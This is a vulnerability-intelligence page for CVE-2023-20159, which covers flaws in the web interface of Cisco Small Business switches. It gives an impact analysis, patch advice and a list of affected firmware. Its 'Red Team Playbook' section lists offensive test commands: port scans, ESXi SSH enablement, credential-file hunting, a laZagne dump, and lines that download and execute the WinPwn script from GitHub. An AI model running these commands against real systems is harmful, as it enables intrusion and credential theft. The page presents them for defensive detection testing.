CVE-2023-20159
Overview
The vulnerability arises from improper validation of HTTP requests processed by the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly sanitize or verify input parameters, leading to memory corruption issues within the affected firmware components. This flaw exists in the web management service handling incoming requests, enabling exploitation through crafted network packets targeting the device's management interface.
Vulnerability Description
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction or credentials, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation allows execution of arbitrary code with root privileges or causes a denial of service, potentially disrupting network operations and enabling full device compromise. This can lead to loss of network availability, unauthorized control over switch functions, and facilitate lateral movement within the enterprise environment.
Solution
Cisco has released security updates for the affected Small Business Smart and Managed Switches as detailed in their advisory (https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware versions provided by Cisco for the business_250 series switches, as specified in the advisory. No workarounds are listed; therefore, timely patching is the recommended remediation step to address these vulnerabilities.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting certain Cisco Small Business Series Switches arises from multiple flaws within the web-based user interface. These flaws stem from inadequate validation of requests sent to the interface, which can be exploited by an unauthenticated remote attacker. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk level. Attackers can leverage this weakness to initiate denial of service (DoS) conditions, effectively rendering the affected devices inoperable. Furthermore, the potential for executing arbitrary code with root privileges poses an even greater threat, as it allows attackers to gain full control over the device, leading to further exploitation of the network.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft malicious requests targeting the web interface, triggering the improper validation mechanisms. This could result in a DoS condition, disrupting network services for users relying on the affected switches. In a more severe scenario, the attacker could execute arbitrary code, which may allow them to manipulate network configurations, intercept data, or pivot to other devices within the network. Given the nature of these devices, which are often deployed in small to medium-sized business environments, the impact of such exploitation could be significant, affecting business operations and data integrity.
The real-world implications of this vulnerability extend beyond immediate operational disruptions. Businesses relying on these switches may face reputational damage, financial losses, and potential legal ramifications if sensitive data is compromised. The ability for an attacker to execute arbitrary code could lead to unauthorized access to critical systems, making it imperative for organizations to assess their risk exposure. Additionally, the potential for cascading failures within the network infrastructure could result in prolonged outages, further exacerbating the business risk.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware on affected devices is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, serving as an early warning system for potential exploitation. Additionally, employing firewalls and intrusion detection systems can provide an additional layer of defense, filtering out malicious requests before they reach the vulnerable web interface. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the vulnerabilities present in the web-based user interface of Cisco Small Business Series Switches represent a significant threat to network security. The potential for denial of service and arbitrary code execution highlights the need for organizations to prioritize security measures surrounding these devices. By adopting robust detection and mitigation strategies, businesses can safeguard their networks against exploitation and minimize the associated risks. The proactive management of vulnerabilities is essential in maintaining the integrity and availability of critical network infrastructure.
Affected Products (229)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Cisco | Business 250-16p-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-16t-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-24t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-24t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-48p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8fp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8p-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8pp-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-8pp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-8t-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
|
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Cisco | Business 250-8t-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20159 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv |